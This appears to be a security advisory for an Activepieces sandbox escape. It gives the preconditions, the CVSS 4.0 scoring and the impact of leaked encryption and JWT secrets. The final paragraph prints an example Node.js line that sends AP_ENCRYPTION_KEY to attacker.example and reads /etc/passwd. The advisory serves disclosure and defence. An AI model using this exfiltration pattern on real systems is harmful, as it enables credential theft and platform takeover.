Activepieces EUVD-2026-56551

Exploitation requires an authenticated Activepieces account that has been granted permission to create or modify Code steps - this is a user-level capability typically granted by administrators to workflow authors, not a default-unprivileged role. The Activepieces instance must be running in SANDBOX_CODE_ONLY mode; other sandbox configurations do not trigger the vulnerable importFresh() code path and are not affected. The attack is constrained to users trusted enough by the platform operator to write automation code, meaning exploitation by external unauthenticated actors is not possible. What limits exploitation: authentication is required (PR:L in CVSS 4.0), the specific SANDBOX_CODE_ONLY mode must be the active configuration (AT:P in CVSS 4.0), and the user must have Code step creation rights specifically. Deployments not using SANDBOX_CODE_ONLY mode are entirely unaffected by this vulnerability.

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N) scoring 7.6 reflects a network-accessible flaw requiring low privileges but constrained by a specific attack prerequisite (AT:P) - the SANDBOX_CODE_ONLY mode must be active. The High vulnerable-system confidentiality and integrity impacts are well-justified: AP_ENCRYPTION_KEY and AP_JWT_SECRET exposure compromises the entire platform's cryptographic trust model, enabling JWT forgery and decryption of all stored credentials. No CISA KEV listing and no public POC have been identified, suggesting exploitation has not yet been widespread or publicly demonstrated. EPSS data was not provided in the source intelligence, so probabilistic exploitation likelihood cannot be quantified. The AT:P constraint is the primary real-world risk limiter - operators not using SANDBOX_CODE_ONLY mode are unaffected by this specific escape. For affected deployments, however, the downstream blast radius of key compromise is disproportionately large relative to the 7.6 score, making this a genuine remediation priority over lower-scoring but more contained flaws.

An authenticated Activepieces user with Code step creation rights submits a module containing top-level Node.js code such as require('https').get('https://attacker.example/exfil?key=' + process.env.AP_ENCRYPTION_KEY) and require('fs').readFileSync('/etc/passwd'). When the Activepieces engine processes this step in SANDBOX_CODE_ONLY mode, importFresh() loads and executes the module before the V8 isolate is activated, causing the top-level code to run unrestricted in the host process and transmitting encryption keys and JWT secrets to the attacker's server. With AP_JWT_SECRET in hand, the attacker forges administrative JWTs and gains full platform control; no public POC has been identified at time of analysis.